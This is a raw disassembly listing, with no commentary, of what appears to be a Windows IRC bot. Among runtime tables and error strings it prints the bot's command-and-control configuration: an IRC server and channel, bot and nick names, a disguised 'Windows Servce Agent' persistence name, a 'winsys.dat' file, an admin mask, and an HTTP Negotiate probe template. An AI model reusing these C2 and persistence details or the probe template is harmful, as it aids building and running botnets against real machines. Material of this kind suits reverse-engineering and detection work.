B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F0617h, 2600000h, 2600B21h dd 2610000h, 261053Fh, 26105D2h, 2620000h, 26208CBh, 2620DA7h dd 2630000h, 26307D0h, 2630A22h dword_42703C dd 2630A6Dh ; DATA XREF: ___:004231D9r dd 2630AF1h, 2630D5Bh, 2630D9Ah, 2640000h, 2650000h, 2660000h dd 266102Eh, 2661402h, 26619C6h, 77E75CB5h dword_427068 dd 26619D4h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2661D38h, 2670000h, 2670A39h dword_427078 dd 2670ECEh ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2680000h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 268019Bh dword_427084 dd 268029Ah ; DATA XREF: sub_4196BC+B9r dd 26808B9h dword_42708C dd 2680930h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 268095Fh ; DATA XREF: ___:loc_4013DCr dd 2680CDEh, 2680DE1h dword_42709C dd 2680EF3h ; DATA XREF: sub_409B12+2r dd 2690000h, 26900B2h dword_4270A8 dd 26905D6h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 2690632h ; DATA XREF: sub_410CD5:loc_410DC1r dd 26A0000h, 26A0C52h dword_4270B8 dd 26B0000h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26B039Eh ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26C0000h, 26D0000h, 26D0497h, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E052Fh, 26E06DFh, 26F0000h, 26F08EDh dword_4270E8 dd 2700000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 2700729h ; DATA XREF: sub_418293+36r dd 270099Bh, 2710000h dword_4270F8 dd 271069Dh ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2720000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2730000h, 2740000h, 2740ADEh, 2750000h, 27507FFh, 2760000h dd 2770000h, 2780000h, 2780B59h, 2780E7Ah, 2790000h, 279020Ch dd 2790982h, 27A0000h, 27A03B7h dword_42713C dd 27A06A9h ; DATA XREF: sub_416F1A+BCr dd 27B0000h dword_427144 dd 27C0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27C0939h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27C099Ch dword_427150 dd 27C0C71h ; DATA XREF: sub_417275+56r dd 27D0000h, 27E0000h, 27F0000h, 27F067Ah, 27F0BCFh, 2800000h dd 2800194h, 280084Bh, 2810000h, 2820000h dword_42717C dd 2821363h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2830000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2831089h, 2831481h, 28318F6h, 2831BA2h, 2840000h, 2850000h dd 2860000h, 2870000h, 2880000h, 2890000h, 2891AD8h, 2891AFFh dd 28A0000h, 28B0000h, 28B01C0h dword_4271C0 dd 28B07C8h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28B09C1h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28C0000h, 28C04D4h, 28C0C61h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C544o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C540o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C7BCo dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C98Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D0B4o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D0B4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D0CC ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D0CC dd offset dword_427E18+4 off_427E40 dd offset off_43D0EC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0EC dd offset unk_427E68 off_427E8C dd offset off_43D10C ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D10C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D130 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D130 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D0B4 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D0B4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D0CC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0EC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D10C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(6AF3CF58h), 5 dup(5B862F6Eh), 5 dup(646C0BC8h) dd 7Ah dup(0) dd 646C0BC8h, 0 dd 6AF3CF58h, 15h dup(0) dd 5B862F6Eh, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC 